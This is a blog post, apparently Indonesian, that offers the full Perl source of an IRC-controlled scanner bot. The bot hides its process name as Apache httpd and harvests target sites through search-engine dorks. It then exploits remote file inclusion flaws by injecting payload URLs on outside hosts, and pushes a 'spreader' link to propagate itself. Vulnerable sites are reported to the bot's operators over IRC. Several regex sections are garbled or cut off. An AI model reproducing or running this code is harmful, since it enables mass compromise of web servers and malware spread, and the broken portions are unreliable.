bL4Ck_3n91n3 g0 bl0g

VopCrew Scanner Versi 5.0 Final
Coded by : Vrs-hCk
ReCoded : bL4Ck_3n91n3

Source VopCrew by bL4Ck_3n91n3 :
http://bl4ckb0t.biz/vop.txt

Response ID :
http://oubkhammuseum.com/templates/idvop.txt

Enjoy!

Botnya lumayan udah jadul tapi dah gw modif dikit2 biar nambah keren ^^

#!/usr/bin/perl

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
require LWP;
$|++;

######################
#   Configuration    #
#                    #
################################################################
my $process = "/usr/local/apache/bin/httpd -DSL";              # PID Name
my $cmd="http://0wn3d.me.uk/inject??";                         # CMD printed on the vulns
my $safeoff ="view-source:http://www.kri-perth.org.au/Events/EventImage8.jpg??";   # Safe Mode Off Response to check if need to #activate spreader http://www.asyouwishweddings.com.au//xhev.txt?        #
my $safeon = "http://www.kri-perth.org.au/Events/EventImage7.jpg??";   #
my $spread = "http://mixcom.ru/pic/end.jpg?"; 		       # your spreadlink
#my $server="irc.0wn3d.me.uk";                      	       # IRC-Server
my $server="irc.0wn3d.me.uk";                      	       # IRC-Server
my $port="6667";                                    	       # Server Port
my $nickname="[myangel]".(int(rand(999)));
#my $nickname="0wnZz"; 			 		       # Nickname
my $start="!scan";                               	       # Start Command
my $scanadmin="bL4Ck_3n91n3";                         	       # Scan Admin gets all Safe Off messaged in Private
my $channel="#racrew";                              	       # Channel
################################################################

my $pid=fork;
exit if $pid;
	$0="$process"."\0"x16;

	my $dsp = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$port",Proto=>"tcp") or die "Can not connect on

server!\n";
		$dsp->autoflush(1);
			print $dsp "NICK $nickname\r\n";
			print $dsp "USER bug * Scan : doyan.ngeroot@gmail.com \r\n";
			print $dsp "JOIN $channel\r\n";
			print $dsp "PRIVMSG $scanadmin :12,1 Scanner is ON!! Let's get the bitch @ $channel \r\n";
				while($line = <$dsp>){
					$line =~ s/\r\n$//;
						if ($line=~ /^PING \:(.*)/)
						{
							print "PONG :$1";
							print $dsp "PONG :$1";
					}

if ($line=~ /PRIVMSG $channel :!getout/){
	display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Quit12,1}0,1 blackhole");
	display($dsp, "QUIT");
}

if ($line=~ /PRIVMSG $channel :!help/){
	display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Command12,1}0,1 The scan command is !scan 4,1string dork");
}

if ($line=~ /PRIVMSG $channel :!0wner/){
	display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Admin12,1}0,1 The Admin is: 4,1$scanadmin ");
}

######################################################################
#################### GOOGLE
######################################################################
if ($line=~ /PRIVMSG $channel :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @google=&googlet($dork);
#
push(my @tot, @google);
#
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 Google Total:4,1 ".scalar(@tot)." 0,1Cleaned:4,1 ".scalar(@cleaned)."

0,1for 12,1 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Exploiting12,1}0,1 Google4,1 ".$exploiting." 0,1Dari4,1 ".$uni." 0,1Situs 12,1");
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 Google finished for12,1 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /abhie/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1} ");
display($dsp, "PRIVMSG \x53\x69\x4B\x6F\x64\x6F\x51 :12,1{4,1@0,1Vuln12,1} 12,1{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1}

");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /abhie/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12,1{0,1SafeMode:4,1ON12,1} 12,1{0,1Website: 8,1$print 12,1} ");
}}
}}}
exit;
}}

######################################################################
#################### AllTheWeb
######################################################################
if ($line=~ /PRIVMSG $channel :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @alltheweb=&allthewebt($dork);
	my @allweb=&standard($dork);
#
push(my @tot, @alltheweb, @allweb);
#
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 AllTheWeb Total:4,1 ".scalar(@tot)." 0,1Cleaned:4,1 ".scalar(@cleaned)."

0,1for 12,1 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Exploiting12,1}0,1 AllTheWeb4,1 ".$exploiting." 0,1Dari4,1 ".$uni." 0,1Situs 12,1");
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 AllTheWeb finished for12,1 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /abhie/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1} ");
display($dsp, "PRIVMSG \x53\x69\x4B\x6F\x64\x6F\x51 :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1}

");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /abhie/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12,1{0,1SafeMode:4,1ON12,1} 12,1{0,1Website: 8,1$print 12,1} ");
}}
}}}
exit;
}}
######################################################################
#################### UoL
######################################################################
if ($line=~ /PRIVMSG $channel :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @uol=&uolsub($dork);
#
push(my @tot, @uol);
#
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 UOL Total:4,1 ".scalar(@tot)." 0,1Cleaned:4,1 ".scalar(@cleaned)." 0,1for

12,1 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Exploiting12,1}0,1 UOL4,1 ".$exploiting." 0,1Dari4,1 ".$uni." 0,1Situs 12,1");
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 UOL finished for12,1 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /abhie/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1} ");
display($dsp, "PRIVMSG \x53\x69\x4B\x6F\x64\x6F\x51 :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1}

");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /abhie/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12,1{0,1SafeMode:4,1ON12,1} 12,1{0,1Website: 8,1$print 12,1} ");
}}
}}}
exit;
}}
######################################################################
#################### AltaVista
######################################################################
if ($line=~ /PRIVMSG $channel :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @allist=&altavista($dork);
	my @alldeist=&altavistade($dork);
	my @allistus=&altavistaus($dork);
push(my @alles, @allist, @alldeist, @allistus);
#This is stupid i know i first make it @alles and i turn it back into @tot lol xD
push(my @tot, @alles);
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 AltaVista Total:4 ".scalar(@tot)." 1Cleaned:4 ".scalar(@cleaned)."

1for 12 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Exploiting12,1}0,1 AltaVista4,1 ".$exploiting." 0,1Dari4,1 ".$uni." 0,1Situs 12,1");
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 AltaVista finished for12,1 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /abhie/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1} ");
display($dsp, "PRIVMSG \x53\x69\x4B\x6F\x64\x6F\x51 :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1}

");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /abhie/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12,1{0,1SafeMode:4,1ON12,1} 12,1{0,1Website: 8,1$print 12,1} ");
}}
}}}
exit;
}}

######################################################################
#################### Yahoo
######################################################################
if ($line=~ /PRIVMSG $channel :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @ylist=&yahoo($dork);
	my @yalist=&yahooa($dork);
	my @yblist=&yahoob($dork);
	my @yclist=&yahooc($dork);
		push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist);
#
push(my @tot, @yahoobypass);
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 Yahoo Total:4,1 ".scalar(@tot)." 0,1Cleaned:4,1 ".scalar(@cleaned)."

0,1for 12,1 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){
display($dsp, "PRIVMSG $channel :12,1{4,1@Exploiting12,1}0,1 Yahoo4,1 ".$exploiting." 0,1Dari4,1 ".$uni." 0,1Situs 12,1");
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 Yahoo finished for12,1 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /abhie/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1} ");
display($dsp, "PRIVMSG \x53\x69\x4B\x6F\x64\x6F\x51 :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1}

");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /abhie/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12,1{0,1SafeMode:4,1ON12,1} 12,1{0,1Website: 8,1$print 12,1} ");
}}
}}}
exit;
}}

######################################################################
#################### MSN
######################################################################
if ($line=~ /PRIVMSG $channel :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @mlist=&msn($dork);
push(my @tot, @mlist);
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 MSN Total:4,1 ".scalar(@tot)." 0,1Cleaned:4,1 ".scalar(@cleaned)." 0,1for

12,1 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Exploiting12,1}0,1 MSN4,1 ".$exploiting." 0,1Dari4,1 ".$uni." 0,1Situs 12,1");

}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 MSN finished for12,1 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /abhie/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1} ");
display($dsp, "PRIVMSG \x53\x69\x4B\x6F\x64\x6F\x51 :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1}

");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /abhie/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12,1{0,1SafeMode:4,1ON12,1} 12,1{0,1Website: 8,1$print 12,1} ");
}}
}}}
exit;
}}

######################################################################
#################### ASK
######################################################################
if ($line=~ /PRIVMSG $channel :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @asklist=&ask($dork);
push(my @tot, @asklist);
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 ASK Total:4,1 ".scalar(@tot)." 0,1Cleaned:4,1 ".scalar(@cleaned)." 0,1for

12,1 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Exploiting12,1}0,1 ASK4,1 ".$exploiting." 0,1Dari4,1 ".$uni." 0,1Situs 12,1");
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 ASK finished for12,1 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /abhie/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1} ");
display($dsp, "PRIVMSG \x53\x69\x4B\x6F\x64\x6F\x51 :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1}

");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /abhie/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12,1{0,1SafeMode:4,1ON12,1} 12,1{0,1Website: 8,1$print 12,1} ");
}}
}}}
exit;
}}

######################################################################
#################### FireBall
######################################################################
if ($line=~ /PRIVMSG $channel :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @fireball=fireball($dork);
push(my @tot, @fireball);
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 FireBall Total:4,1 ".scalar(@tot)." 0,1Cleaned:4,1 ".scalar(@cleaned)."

0,1for 12,1 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Exploiting12,1}0,1 FireBall4,1 ".$exploiting." 0,1Dari4,1 ".$uni." 0,1Situs 12,1");
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Scanner12,1}0,1 FireBall finished for12,1 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /abhie/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1} ");
display($dsp, "PRIVMSG \x53\x69\x4B\x6F\x64\x6F\x51 :12,1{4,1@0,1Vuln12,1} 12{0,1SafeMode:3,1OFF12,1} 12,1{0,1Website: 8,1$print 12,1}

");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /abhie/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :12,1{4,1@0,1Vuln12,1} 12,1{0,1SafeMode:4,1ON12,1} 12,1{0,1Website: 8,1$print 12,1} ");
}}
}}}
exit;
}}}

sub display()
{
if ($#_ == '1') {
my $dsp = $_[0];
print $dsp "$_[1]\n";
} else {
print $dsp "$_[0]\n";
}}

#####
# SUBS GOOGLE
#####
sub googlet {
my @dominios = ("ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","id","my");
my @country = ("AE","AR","AT","AU","BE","BR","CA","CH","CL","DE","DK","ID","MY");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $i (@dominios){
my @lista = google($i,$key,$country[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}

sub google(){
my @lst;
my $i=$_[0];
my $key=$_[1];
my $country =$_[2];
for($b=0;$b<=100;$b+=100){
my $Go=("www.google.".$i."/search?hl=en&q=".key($key)."&num=100&start=".$b."&meta=cr%3Dcountry".$country);
my $Res=query($Go);
while($Res =~ m/\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

#####
# SUBS AllTheWeb
#####

sub allthewebt {
my @lang = ("en","es","de","nl","pt-BR","it","de","fo");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $lang (@lang){
my @lista = alltheweb($key,$lang[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}

sub alltheweb(){
my @lista;
my $key = $_[0];
my $lang= $_[1];
for($b=0;$b<=500;$b+=100){
my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=".$lang."&hits=100&q=".key($key)."&o=".$b);
my $Res=query($alltheweb);
while($Res =~ m/http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub standard()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $Res=query($all);
while($Res =~ m/http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

#####
# SUBS AltaVista
#####
sub altavista(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/\"]*)/g){
my $k=$1;
if($k!~/busca|uol|yahoo/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

#####
# SUBS Yahoo
#####
sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\(.+?)\<\/span>/g){
my $k=$1;
$k=~s///g;
$k=~s/<\/b>//g;
$k=~s///g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub yahooa(){
my @lst;
my $key = $_[0];
for($b=210;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\(.+?)\<\/span>/g){
my $k=$1;
$k=~s///g;
$k=~s/<\/b>//g;
$k=~s///g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub yahoob(){
my @lst;
my $key = $_[0];
for($b=410;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\(.+?)\<\/span>/g){
my $k=$1;
$k=~s///g;
$k=~s/<\/b>//g;
$k=~s///g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub yahooc(){
my @lst;
my $key = $_[0];
for($b=610;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\(.+?)\<\/span>/g){
my $k=$1;
$k=~s///g;
$k=~s/<\/b>//g;
$k=~s///g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

#####
# SUBS MSN
#####
sub msn(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

#####
# SUBS ASK
#####
sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}

sub get_link()
{
my $file_print=$_[1];
my $link=$_[0];
my $host=$_[0];
my $host_dir=$_[0];
my @links;
$host_dir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host_dir=&end($host_dir);
$host=&end($host);
$link=&end($host);
push(@links,$link,$host,$host_dir);
open($file,'>>',$file_print);
print $file "$link\n$host_dir\n$host\n";
close($file);
return @links;
}

sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
$elemento =~ s/\/+/\//g;
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}